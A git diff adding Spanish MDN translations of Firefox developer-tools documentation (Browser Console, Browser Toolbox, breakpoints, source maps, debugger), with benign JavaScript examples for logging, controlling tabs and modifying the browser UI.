+  - Depuración
+  - Desarrollo web
+  - 'DesarrolloWeb:Herramientas'
+  - Herramientas
+  - Navegador
+translation_of: Tools/Browser_Console
+---
+<p>La Consola del Navegador es como la <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Consola Web</a>, <span id="result_box" lang="es"><span>pero se aplica a todo el navegador en lugar de a una sola pestaña de contenido</span></span>.</p>
+
+<p><span id="result_box" lang="es"><span>Por lo tanto, registra el mismo tipo de información que la Consola Web: solicitudes de red, JavaScript, CSS, errores y advertencias de seguridad y mensajes registrados explícitamente por código JavaScript.</span> <span>Sin embargo, en lugar de registrar esta información para una sola pestaña de contenido, registra información para todas las pestañas de contenido, complementos y código propio del navegador.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Si también desea utilizar las otras herramientas de desarrollador web en la caja </span></span><span lang="es"><span>de herramientas </span></span><a href="/en-US/docs/Tools/Tools_Toolbox">(Toolbox)</a> <span lang="es"><span>Web estándar con código de complemento o explorador, considere la posibilidad de utilizar el cuadro de herramientas del navegador</span></span> <a href="/en-US/docs/Tools/Browser_Toolbox">(Browser Toolbox)</a><span lang="es"><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Del mismo modo, puede ejecutar expresiones JavaScript utilizando la consola del explorador.</span> <span>Sin embargo, mientras la Consola Web ejecuta el código en el ámbito de la ventana de la página, la consola del explorador los ejecuta en el ámbito de la ventana chrome del navegador.</span> <span>Esto significa que puedes interactuar con todas las pestañas del navegador usando el</span></span> <a href="/en-US/docs/Code_snippets/Tabbed_browser" title="/en-US/docs/Code_snippets/Tabbed_browser"><code>gBrowser</code></a> <span lang="es"><span>global e incluso con el XUL utilizado para especificar la interfaz de usuario del navegador.</span></span></p>
+
+<div class="geckoVersionNote">
+<p><span id="result_box" lang="es"><span>Nota: La línea de comandos de la consola del navegador (para ejecutar expresiones JavaScript) está desactivada de forma predeterminada.</span> <span>Para habilitarla, establezca la preferencia </span></span><code>devtools.chrome.enabled</code><span lang="es"><span> a true en about: config o configure la opción "Habilitar explorador {{Glossary ("chrome")}} y add-on debugging toolboxes" (Firefox 40 y posterior) en la opción</span> <span>Configuración de la herramienta de desarrollador</span></span> <a href="/en-US/docs/Tools/Settings">(developer tool settings)</a><span lang="es"><span>.</span></span></p>
+</div>
+
+<h2 id="Abrir_la_Consola_del_Navegador"><span class="short_text" id="result_box" lang="es"><span>Abrir la Consola del Navegador</span></span></h2>
+
+<p><span id="result_box" lang="es"><span>Puede abrir la consola del navegador de dos formas:</span></span></p>
+
+<ol>
+ <li><span id="result_box" lang="es"><span>Desde el menú: seleccione "Consola del navegador" en el submenú "Desarrollador web" en el menú de Firefox (o en el menú Herramientas si muestra la barra de menús o está en OS X)</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span>Desde el teclado: pulse</span></span> Ctrl+Shift+J (o Cmd+Shift+J en un Mac).</li>
+</ol>
+
+<p><span id="result_box" lang="es"><span>También puedes iniciar la consola del navegador lanzando Firefox desde la línea de comandos y pasando el argumento </span></span><code>-jsconsole</code>:</p>
+
+<pre>/Applications/FirefoxAurora.app/Contents/MacOS/firefox-bin -jsconsole</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span>La consola del navegador se ve así:</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5847/browser-console-window.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p><span id="result_box" lang="es"><span>Puede ver que la consola del navegador se ve y se comporta de forma muy similar a la</span></span> <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Consola Web</a>:</p>
+
+<ul>
+ <li>La mayor parte de la ventana es ocupada por <a href="/en-US/docs/Tools/Web_Console#Message_Display_Pane" title="/en-US/docs/Tools/Web_Console#Message_Display_Pane">el panel que muestra mensajes</a></li>
+ <li>arriba, la <a href="/en-US/docs/Tools/Web_Console#Filtering_and_searching" title="/en-US/docs/docs/Tools/Web_Console#Filtering_and_searching">barra de herramientas</a> le permite filtrar los mensajes que se muestran</li>
+ <li>abajo, el <a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter" title="/en-US/docs/docs/Tools/Web_Console#The_command_line_interpreter">interprete de linea de comandos</a> le permite evaluar la expresión JavaScript.</li>
+</ul>
+
+<h2 id="Registro_de_Consola_del_Navegador">Registro de Consola del Navegador</h2>
+
+<p>El registro de consola del Navegador registra el mismo tipo de mensajes que la consola Web:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Web_Console#HTTP_requests" title="/en-US/docs/Tools/Web_Console#HTTP_requests">Solicitudes HTTP</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console#Warnings_and_errors" title="/en-US/docs/Tools/Web_Console#Warnings_and_errors">Advertencias y errores</a> <span id="result_box" lang="es"><span>(incluidos JavaScript, CSS, advertencias y errores de seguridad y mensajes registrados explícitamente por código JavaScript utilizando la </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">consola</a> API)</li>
+ <li><a href="/en-US/docs/Tools/Web_Console#Input.2Foutput_messages" title="/en-US/docs/Tools/Web_Console#Input.2Foutput_messages">Mensajes de entrada / salida</a>: <span id="result_box" lang="es"><span>comandos enviados al navegador a través de la línea de comandos, y el resultado de ejecutarlos.</span></span></li>
+</ul>
+
+<p>Sin embargo, tambien muestra mensajes provenientes de:</p>
+
+<ul>
+ <li>contenido web alojado por todas las pestañas del navegador</li>
+ <li>el propio codigo del navegador</li>
+ <li>complementos.</li>
+</ul>
+
+<h3 id="Mensajes_provenientes_de_complementos">Mensajes provenientes de complementos</h3>
+
+<p>La consola del navegador muestra mensajes registrados por todos los complementos de Firefox.</p>
+
+<h4 id="Console.jsm">Console.jsm</h4>
+
+<p>Para utilizar la API de consola de un complemento tradicional o bootstrapped, obtenlo desde el modulo de consola.</p>
+
+<p>Un simbolo exportado por Console.jsm es "console". a continuación se muestra un ejemplo de como accesarlo. lo que añade un mensaje a la Consola del Navegador.</p>
+
+<pre class="brush: js">Components.utils.import("resource://gre/modules/Console.jsm");
+console.log("Hello from Firefox code"); //output messages to the console</pre>
+
+<p>Aprenda mas:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/console">referencia de la consola API</a></li>
+ <li><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/modules/Console.jsm">Console.jsm codigo fuente en Mozilla DXR</a></li>
+</ul>
+
+<h4 id="HUDService">HUDService</h4>
+
+<p>Tambien existe el HUDService el cual permite el acceso a la Consola de Navegador. El modulo está disponible en <a href="https://dxr.mozilla.org/mozilla-central/source/devtools/client/webconsole/hudservice.js">Mozilla DXR</a>. Así vemos que no solo podemos acceder a la consola del Navegador sino tambien a la consola web.</p>
+
+<p>Aqui hay un ejemplo de como limpiar el contenido de la consola del navegador:</p>
+
+<pre class="brush: js">Components.utils.import("resource://devtools/shared/Loader.jsm");
+var HUDService = devtools.require("devtools/client/webconsole/hudservice");
+
+var hud = HUDService.getBrowserConsole();
+hud.jsterm.clearOutput(true);</pre>
+
+<p>Si usted quisiera accesar al documento contenido del la consola del navegador, esto puede hacerce mediante el HUDService. Este ejemplo a continuación  hace que cuando usted sobrepase el boton  "Clear" limpiará la Consola del navegador:</p>
+
+<pre class="brush: js">Components.utils.import("resource://devtools/shared/Loader.jsm");
+var HUDService = devtools.require("devtools/client/webconsole/hudservice");
+
+var hud = HUDService.getBrowserConsole();
+
+var clearBtn = hud.chromeWindow.document.querySelector('.webconsole-clear-console-button');
+clearBtn.addEventListener('mouseover', function() {
+  hud.jsterm.clearOutput(true);
+}, false);</pre>
+
+<h4 id="Caracteristicas_Adicionales_Disponibles">Caracteristicas Adicionales Disponibles</h4>
+
+<p>Para los <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/index.html" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/index.html">Complementos SDK</a>, la consola API está disponible automaticamente. A continuación se muestra un ejemplo de complemento que registra un error cuando el usuario hace click en un widget:</p>
+
+<pre class="brush: js">widget = require("sdk/widget").Widget({
+  id: "an-error-happened",
+  label: "Error!",
+  width: 40,
+  content: "Error!",
+  onClick: logError
+});
+
+function logError() {
+  console.error("something went wrong!");
+}</pre>
+
+<p>Si uested <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/tutorials/installation.html" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/tutorials/installation.html">construye este como un archivo XPI</a>, entonces abra la consola del navegador, y entonces abra el archivo XPI en Firefox e instalelo, verá una etiqueta widget con el mensaje "Error!" en la barra del complemento:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5937/browser-console-addon.png" style="display: block; margin-left: auto; margin-right: auto;">Haga click en el icono. verá un mensaje como este aparecer en la consola del navegador:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5851/browser-console-addon-output.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Para complementos basados unicamente en SDK, al mensaje se le antepone el nombre del complemento ("log-error"), haciendolo mas facil de encontrar todos los mensajes de este complemento utilizando la caja de busqueda del <a href="/en-US/docs/Tools/Web_Console#Filtering_and_searching" title="/en-US/docs/Tools/Web_Console#Filtering_and_searching">"Filtro de salida"</a>. Por default, solo los mensajes de error son registrados en la consola, aunque <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/console.html#Logging%20Levels" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/console.html#Logging%20Levels">usted puede cambiar este comportamiento en preferencias del navegador</a>.</p>
+
+<h2 id="Consola_de_línea_de_comandos_del_Navegador">Consola de línea de comandos del Navegador</h2>
+
+<div class="geckoVersionNote">
+<p>La Consola de linea de comandos del navegador esta deshabilitada de manera predeterminada. Para habilitarla cambie la preferencia de <code>devtools.chrome.enabled</code> hacia <code>true</code> en about:config, o establezca la opción "Enable chrome debugging" dentro de <a href="/en-US/docs/Tools/Settings">developer tool settings</a>.</p>
+</div>
+
+<p>Al igual que la consola Web, el interprete de linea de comando le permite evaluar expresiones JavaScript en tiempo real:<img alt="" src="https://mdn.mozillademos.org/files/5855/browser-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;">Tambien como el interprete de linea de comando de la consola Web, esta linea de comando soporta <a href="/en-US/docs/Tools/Web_Console#Autocomplete" title="/en-US/docs/Tools/Web_Console#Autocomplete">autocompletar</a>, <a href="/en-US/docs/Tools/Web_Console#Command_history" title="/en-US/docs/Tools/Web_Console#Command_history">historial</a>, y varios <a href="/en-US/docs/Tools/Web_Console#Keyboard_shortcuts" title="/en-US/docs/docs/Tools/Web_Console#Keyboard_shortcuts">atajos de teclado </a>así como <a href="/en-US/docs/Tools/Web_Console#Helper_commands" title="/en-US/docs/Tools/Web_Console#Helper_commands">comandos de ayuda</a>. si el resultado de un comando  es un objeto, usted puede hacer <a href="/en-US/docs/Tools/Web_Console#Inspecting_objects" title="/en-US/docs/Tools/Web_Console#Inspecting_objects">click sobre el objeto para ver sus detalles</a>.</p>
+
+<p>Pero mientras la consola Web ejecuta codigo en el ambito (scope) de la ventana que lo contiene, la consola del navegador ejecuta codigo en el ámbito (scope) de la ventana metálica del navegador. Usted puede confirmar este comportamiento evaluendo <code>window</code>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5867/browser-console-chromewindow.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Esto significa que usted puede controlar en el navegador: abrir, cerrar pestañas y ventanas y cambiar el contenido que ellas alojan, y modificar el UI del navegador al crear, cambiar y remover elementos XUL.</p>
+
+<h3 id="Controlando_el_navegador">Controlando el navegador</h3>
+
+<p>El interprete de linea de comando obtiene acceso al objeto <a href="/en-US/docs/XUL/tabbrowser" title="/en-US/docs/XUL/tabbrowser"><code>tabbrowser</code></a>, a traves de el <code>gBrowser</code> global, y ello le permite a usted controlar el navegador a traves de la linea de comando. Pruebe correr el siguente codigo en la linea de comando en la consola del navegador (recuerde que para enviar multiples lineas de comando a la consola de navegador, utilice Shift+Enter):</p>
+
+<pre class="brush: js">var newTabBrowser = gBrowser.getBrowserForTab(gBrowser.selectedTab);
+newTabBrowser.addEventListener("load", function() {
+  newTabBrowser.contentDocument.body.innerHTML = "&lt;h1&gt;this page has been eaten&lt;/h1&gt;";
+}, true);
+newTabBrowser.contentDocument.location.href = "https://mozilla.org/";</pre>
+
+<p>Añadirá un listener en el (load event) de la pestaña que este actualmente seleccionada, el cual  terminará la pagina, para posteriormente cargar una nueva pagina.</p>
+
+<h3 id="Modificando_el_UI_del_navegador">Modificando el UI del navegador</h3>
+
+<p>Debido a que el  global <code>window</code> object es la ventana metalica del navegador, usted tambien puede modificar la Inteface de Usuario del navegador. En Windows, el siguente codigo añadira un nuevo ITEM al menu principal del navegador:</p>
+
+<pre class="brush: js">var parent = window.document.getElementById("appmenuPrimaryPane");
+var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem");
+makeTheTea.setAttribute("label", "A nice cup of tea?");
+parent.appendChild(makeTheTea);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5859/browser-console-modify-ui-windows.png" style="display: block; margin-left: auto; margin-right: auto;">En OS X, este codigo similar añadirá un nuevo item al menu "Herramientas":</p>
+
+<pre class="brush: js">var parent = window.document.getElementById("menu_ToolsPopup");
+var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem");
+makeTheTea.setAttribute("label", "A nice cup of tea?");
+parent.appendChild(makeTheTea);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5861/browser-console-modify-ui-osx.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
diff --git a/files/es/tools/browser_toolbox/index.html b/files/es/tools/browser_toolbox/index.html
new file mode 100644
index 0000000000..d702370f0d
--- /dev/null
+++ b/files/es/tools/browser_toolbox/index.html
@@ -0,0 +1,64 @@
+---
+title: Caja de Herramienta del Navegador
+slug: Tools/Browser_Toolbox
+tags:
+  - Depurador
+  - Firefox
+  - JavaScript
+translation_of: Tools/Browser_Toolbox
+---
+<p>La<em> Caja de Herramientas del Navegador</em> habilita la depuración de extensiones (add-ons) y del código JavaScript propio del navegador mas que simplemente páginas web como  la <em><a href="https://developer.mozilla.org/en-US/docs/Tools_Toolbox">Caja de Herramienta</a></em> normal. El contexto de la <em>Caja de Herramientas del Navegador</em> es el navegador completo en lugar de simplemente una única página en una única pestaña.</p>
+
+<div class="note">
+<p>Nota: Si usted quiere depurar una extensión especifica que no es reiniciable o basado en SDK entonces pruebe el <em><a href="/en-US/Add-ons/Add-on_Debugger">"Depurador de Extensiones</a></em>".  Para extensiones que no son ninguna de las dos, use la Caja de Herramientas del Navegador.</p>
+</div>
+
+<p id="Enabling_the_Browser_Toolbox" style="line-height: 30px; font-size: 2.14286rem;">Habilitando la Caja de Herramientas del Navegador</p>
+
+<div>
+<p>La <em>Caja de Herramientas del Navegador</em> no esta habilitada por defecto. Para habilitarla necesita marcar las casillas de configuración "Habilitar depuración  chrome y de extensiones" y "habilitar depuración remota".</p>
+
+<p>Para hacer esto, abra la <a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox">Configuración de Caja de Herramientas</a> en <em>Herramientas del Desarrollador</em>, vaya a la sección "<a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox#Advanced_settings">Configuración Avanzada</a>", y marque en las opciones "Habilitar navegador chrome y caja de herramientas de depuración de extensiones" y "Habilitar depuración remota".</p>
+
+<p><img alt="Developer Tools Settings" src="https://mdn.mozillademos.org/files/11125/enable-browser-toolbox.png" style="display: block; height: 923px; margin-left: auto; margin-right: auto; width: 900px;"></p>
+</div>
+
+<h2 id="Abriendo_la_Caja_de_Herramienta_del_Navegador"><span style="font-size: 2.14285714285714rem;">Abriendo la Caja de Herramienta del Navegador</span></h2>
+
+<p><span style="line-height: 1.5;">Abra la caja de Herramientas del navegador a través del botón menú</span><span style="line-height: 1.5;"> </span><img alt="new fx menu" class="frameless wiki-image" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2014-01-10-13-08-08-f52b8c.png" style="line-height: 1.5;" title=""><span style="line-height: 1.5;"> y los ítems del menú "Desarrollador" y "Caja de Herramientas del Navegador".</span><span style="line-height: 1.5;"> </span></p>
+
+<p><span style="line-height: 1.5;">A partir de Firefox 39, puede abrirlo con la combinación de teclas  </span><kbd>Ctrl</kbd> + <kbd>Alt</kbd> +<kbd>Shift</kbd> + <kbd>I</kbd> .   ( <kbd>Cmd</kbd> + <kbd>Opt</kbd> +<kbd>Shift</kbd> + <kbd>I</kbd> en una Mac).</p>
+
+<p><span style="line-height: 1.5;">Se le presentará una caja de dialogo como esta (la cual puede ser removida configurando la propiedad </span><code style="font-style: normal; line-height: 1.5;">"devtools.debugger.prompt-connection</code><span style="line-height: 1.5;">" a falso):</span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11119/browser-toolbox-warning.png" style="display: block; height: 326px; margin-left: auto; margin-right: auto; width: 600px;">Clíque OK, y la <em>Caja de Herramientas del Navegador</em> abrirá en su propia ventana:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11121/browser-toolbox.png" style="display: block; height: 649px; margin-left: auto; margin-right: auto; width: 900px;">Estará habilitado para inspeccionar la ventana XUL del navegador y ver y depurar, todos los archivos JavaScript cargados por el propio navegador  y por las extensiones que están corriendo. En conjunto tendrá acceso a las siguientes herramientas del desarrollador:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger">Depurador</a>  (<em>Nota:  Si quiere depurar una extensión específica que no es reiniciable o basada en SDK entonces pruebe  <a href="/en-US/Add-ons/Add-on_Debugger">Depurador de Extensiones</a>.)</em></li>
+ <li><a href="/en-US/docs/Tools/Browser_Console">Consola</a></li>
+ <li><a href="/en-US/docs/Tools/Style_Editor">Editor de Estilo</a></li>
+ <li><a href="/en-US/docs/Tools/Profiler">Rendimiento</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor">Monitor de Red</a></li>
+ <li><a href="/en-US/docs/Tools/Scratchpad">Borrador</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector">Inspector de Página</a></li>
+</ul>
+
+<h2 id="Depurando_chrome_y_a_cerca_de_páginas">Depurando chrome: y a cerca de: páginas</h2>
+
+<p>A partir de Firefox 37 en adelante, usted puede depurar chrome: y a cerca de: páginas usando el <a href="/en-US/docs/Tools/Debugger">Depurador </a>normal, justo como si fueran páginas con contenido ordinario.</p>
+
+<h2 id="Seleccionando_un_documento">Seleccionando un documento</h2>
+
+<p>En la Caja de Herramienta normal, hay un <a href="/en-US/docs/Tools/Working_with_iframes">botón en la barra de herramienta habilitándolo a usted para seleccionar "iframes" específicos en el documento</a>. A partir de Firefox 40 en adelante el mismo botón aparece en la caja de herramientas del navegador también, pero éste lista todas las ventanas de contenido y de nivel mas alto de chrome como así también cualquier "iframes" que contengan. Esto lo habilita a usted a inspeccionar documentos en ventanas individuales de chrome y ventanas emergentes, como así también en pestañas de contenido.</p>
+
+<p>Por ejemplo, aquí se tiene lo que la ventana emergente de selección de marco lista cuando hay dos  ventanas de navegador abiertas, una con una pestaña de contenido, y otra con dos:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11117/browser-toolbox-iframes.png" style="display: block; height: 652px; margin-left: auto; margin-right: auto; width: 900px;"></p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/tools/debugger/how_to/disable_breakpoints/index.html b/files/es/tools/debugger/how_to/disable_breakpoints/index.html
new file mode 100644
index 0000000000..44e2669bd0
--- /dev/null
+++ b/files/es/tools/debugger/how_to/disable_breakpoints/index.html
@@ -0,0 +1,13 @@
+---
+title: Disable breakpoints
+slug: Tools/Debugger/How_to/Disable_breakpoints
+translation_of: Tools/Debugger/How_to/Disable_breakpoints
+---
+<p><font><font>Para desactivar un punto de interrupción, desactive la casilla de verificación junto a la entrada del punto de interrupción en el </font></font><a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger/UI_Tour#Source_list_pane" title="# fuente-list-panel"><font><font>panel de lista de </font></font></a><font><font>Fuente:</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9823/debugger-disable-breakpoint.png" style="display: block; margin-left: auto; margin-right: auto;"><font><font>Alternativamente, activar el menú contextual, mientras que el puntero del ratón está sobre la entrada del punto de interrupción en el panel de lista de fuentes y seleccione "breakpoint Desactivar" </font></font><br>
+ <font><font>También es posible eliminar un punto de interrupción con sólo hacer clic en el círculo azul que representa la misma.</font></font></p>
+
+<p><font><font>Para activar / desactivar todos los puntos de interrupción, utilice el "Cambia todos los puntos de ruptura" botón en el </font></font><a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger/UI_Tour#Source_list_pane"><font><font>panel de lista de </font></font></a><font><font>Fuente:</font></font></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9825/debugger-disable-all-breakpoints.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
diff --git a/files/es/tools/debugger/how_to/index.html b/files/es/tools/debugger/how_to/index.html
new file mode 100644
index 0000000000..d77ec65938
--- /dev/null
+++ b/files/es/tools/debugger/how_to/index.html
@@ -0,0 +1,11 @@
+---
+title: How to
+slug: Tools/Debugger/How_to
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Tools/Debugger/How_to
+---
+<p><span class="seoSummary">These articles describe how to use the debugger.</span></p>
+
+<p>{{ ListSubpages () }}</p>
diff --git a/files/es/tools/debugger/how_to/set_a_breakpoint/index.html b/files/es/tools/debugger/how_to/set_a_breakpoint/index.html
new file mode 100644
index 0000000000..49376ffc9e
--- /dev/null
+++ b/files/es/tools/debugger/how_to/set_a_breakpoint/index.html
@@ -0,0 +1,44 @@
+---
+title: Set a breakpoint
+slug: Tools/Debugger/How_to/Set_a_breakpoint
+translation_of: Tools/Debugger/How_to/Set_a_breakpoint
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>Puedes establecer una interrupción incondicional en una de las siguientes maneras:</p>
+
+<ul>
+ <li>en el <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">panel de fuente</a>, haz clic en el número de línea para la línea que deseas la interrupción</li>
+ <li>in the <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">source pane</a>, activate the context menu while on the line you want to break at, and select "Add breakpoint"</li>
+ <li>in the <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">source pane</a>, highlight the line you want to break at and press <kbd>Ctrl</kbd> + <kbd>B</kbd> (Windows/Linux) or <code>Cmd</code> + <kbd>B</kbd> (macOS)</li>
+</ul>
+
+<p>When you display the context menu, you have a choice of setting either a breakpoint that will pause code execution when it reaches that line, an unconditional breakpoint, or a conditional breakpoint that will only pause the code if the conditions you define are met:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16433/set_breakpoint.png" style="border: 1px solid black; display: block; height: 353px; margin: 0 auto; width: 593px;"></p>
+
+<p>If you choose to set a conditional breakpoint, you will be able to add the condition:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16436/edit_conditional_breakpoint.png" style="border: 1px solid black; display: block; height: 324px; margin: 0px auto; width: 525px;"></p>
+
+<p>Each breakpoint is shown in two places in the debugger:</p>
+
+<ul>
+ <li>the <a href="/en-US/docs/Tools/Debugger/UI_Tour#Breakpoints_list">breakpoints list</a> shows the filename and line number for the breakpoint
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/16434/list_breakpoints.png" style="border: 1px solid black; display: block; height: 325px; margin: 0px auto; width: 313px;"></p>
+ </li>
+ <li>the line in the <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">source pane</a> is marked with a blue arrow if you set an unconditional breakpoint, or an orange arrow if the breakpoint is <a href="/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">conditional</a>. <img alt="" src="https://mdn.mozillademos.org/files/16435/breakpoints_in_code.png" style="border: 1px solid black; display: block; height: 324px; margin: 0px auto; width: 525px;"></li>
+</ul>
+
+<p>Starting in Firefox 67, you can set a column breakpoint on a complex line of code, such as one that makes multiple function calls. For example, if you try to set a breakpoint on the following line, you will have three possible locations for a breakpoint: at the point where the variable value is set, at the call to <code>parse</code>, or at the call to <code>getItem</code>.</p>
+
+<pre class="brush: js">tasks = JSON.parse(localStorage.getItem('todoList'));</pre>
+
+<p>Possible breakpoints are shown with indicators. The following image shows the line in the debugger. As soon as you click on the line, the three indicators show the possible breakpoints. The default breakpoint is set to the first column. In the image, the second column breakpoint was chosen which you can confirm in the Breakpoints section on the right where it shows that the breakpoint is on the call to <code>parse</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16576/column_breakpoint.png" style="border: 1px solid black; display: block; margin: 0px auto;"></p>
+
+<p>Column breakpoints allow you to break at multiple points on the same line. In the previous example, you could have selected both the call to <code>parse </code>and the call to <code>getItem</code>, or even all three columns to break at each of the possible locations.</p>
+
+<p>In cases where you set breakpoints on multiple columns, the currently active columns breakpoint will be highlighted in the Breakpoints side panel.</p>
diff --git a/files/es/tools/debugger/how_to/uso_de_un_mapa_fuente/index.html b/files/es/tools/debugger/how_to/uso_de_un_mapa_fuente/index.html
new file mode 100644
index 0000000000..30e60902cd
--- /dev/null
+++ b/files/es/tools/debugger/how_to/uso_de_un_mapa_fuente/index.html
@@ -0,0 +1,36 @@
+---
+title: Uso de un mapa fuente
+slug: Tools/Debugger/How_to/Uso_de_un_mapa_fuente
+tags:
+  - Debug
+  - mapa fuente
+  - source map
+translation_of: Tools/Debugger/How_to/Use_a_source_map
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>Los fuentes JavaScript ejecutados por el explorador frecuentemente son transformados de alguna manera desde el original creado por el desarrollador. Por ejemplo:</p>
+
+<ul>
+ <li>los fuentes a menudo se combinan y minifican para hacer la transferencia desde el servidor más eficiente.</li>
+ <li>el código JavaScript que se ejecuta en una página a menudo es generado automáticamente. Como el compilado desde los lenguajes <a href="http://coffeescript.org/">CoffeeScript</a> o <a href="http://www.typescriptlang.org/">TypeScript</a>.</li>
+</ul>
+
+<p>En estas situaciones, es mucho más fácil depurar el código fuente en el estado original, que el fuente en el estado transformado que el navegador ha descargado. Un <a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">mapa fuente</a> es un fichero que mapea el código transformado hacia el estado original, permitiendo al navegador reconstruir el fuente original y presentar el código original en el debugger.</p>
+
+<p>Para habilitar al debugger trabajar con un mapa fuente, debes:</p>
+
+<ul>
+ <li>generar el mapa fuente</li>
+ <li>incluir un comentario en el fichero transformado, apuntando al mapa fuente. La sintaxis del comentario es la siguiente:</li>
+</ul>
+
+<pre class="brush: js"><code>//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map</code></pre>
+
+<p>{{EmbedYouTube("Fqd15gHC4Pg")}}</p>
+
+<p>En el video anterior, cargamos <a href="https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html">https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html</a>. Esta página carga un fuente llamado "main.js" que fue originalmente escrito en CoffeeScript y compilado a JavaScript. El fuente compilado contiene un comentario como el siguiente, que apunta al mapa fuente:</p>
+
+<pre class="brush: js"><code>//# sourceMappingURL=main.js.map</code></pre>
+
+<p>En el <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_list_pane">panel de fuentes</a> del debugger, el fichero fuente original en CoffeeScript aparece ahora como "main.coffee", y podemos depurarlo como cualquier otro fichero fuente.</p>
diff --git a/files/es/tools/debugger/index.html b/files/es/tools/debugger/index.html
new file mode 100644
index 0000000000..7d869dccf3
--- /dev/null
+++ b/files/es/tools/debugger/index.html
@@ -0,0 +1,214 @@
+---
+title: Depurador
+slug: Tools/Debugger
+translation_of: Tools/Debugger
+---
+<p>{{ToolsSidebar}}</p>
+
+<div class="note">
+<p>Esta página describe el depurador de JavaScript como se muestra en Firefox 52 y superiores, en Firefox Nightly y Firefox Developer Edition.</p>
+
+<p>Para ver como luce en versiones anteriores de firefox ó en Firefox Beta y Release, ver <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Depurador (anterior a Firefox 52)</a>.</p>
+
+<p>Si obtienes esta version del Depurador y requires cambiar a la version anterior, lo puedes hacer visitando about:config y cambiando la preferencia de "devtools.debugger.new-debugger-frontend" a <code>false</code> .</p>
+</div>
+
+<p>{{EmbedYouTube("sK8KU8oiF8s")}}</p>
+
+<p>El depurador te permite inspeccionar paso a paso el código de JavaScript y examinar o modificar su estado ayudando a eliminar errores.</p>
+
+<p>Puedes usarlo para depurar código local o remoto, por ejemplo en un dispositivo Android ejecutando Firefox para Android.  Ver acerca del<a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging"> depurador remoto </a>para aprender como depurar un objetivo remoto.j</p>
+
+<p>{{ fx_minversion_header("15.0") }}</p>
+
+<p>El depurador JavaScript está disponible en dos variedades: una para depurar contenido que se ejecuta directamente en Firefox, y otra que te permite depurar contenido que se está ejecutando en un dispositivo con Firefox OS , o en Firefox en un dispositivo Android. La principal diferencia entre los dos es que el Depurador Remoto se ejecuta en su propia ventana, mientras que el depurador de contenido web se ejecuta en la misma pestaña de la  Web que se está depurando.</p>
+
+<h2 id="Iniciar_el_depurador">Iniciar el depurador</h2>
+
+<h3 id="Depurando_contenido_web">Depurando contenido web</h3>
+
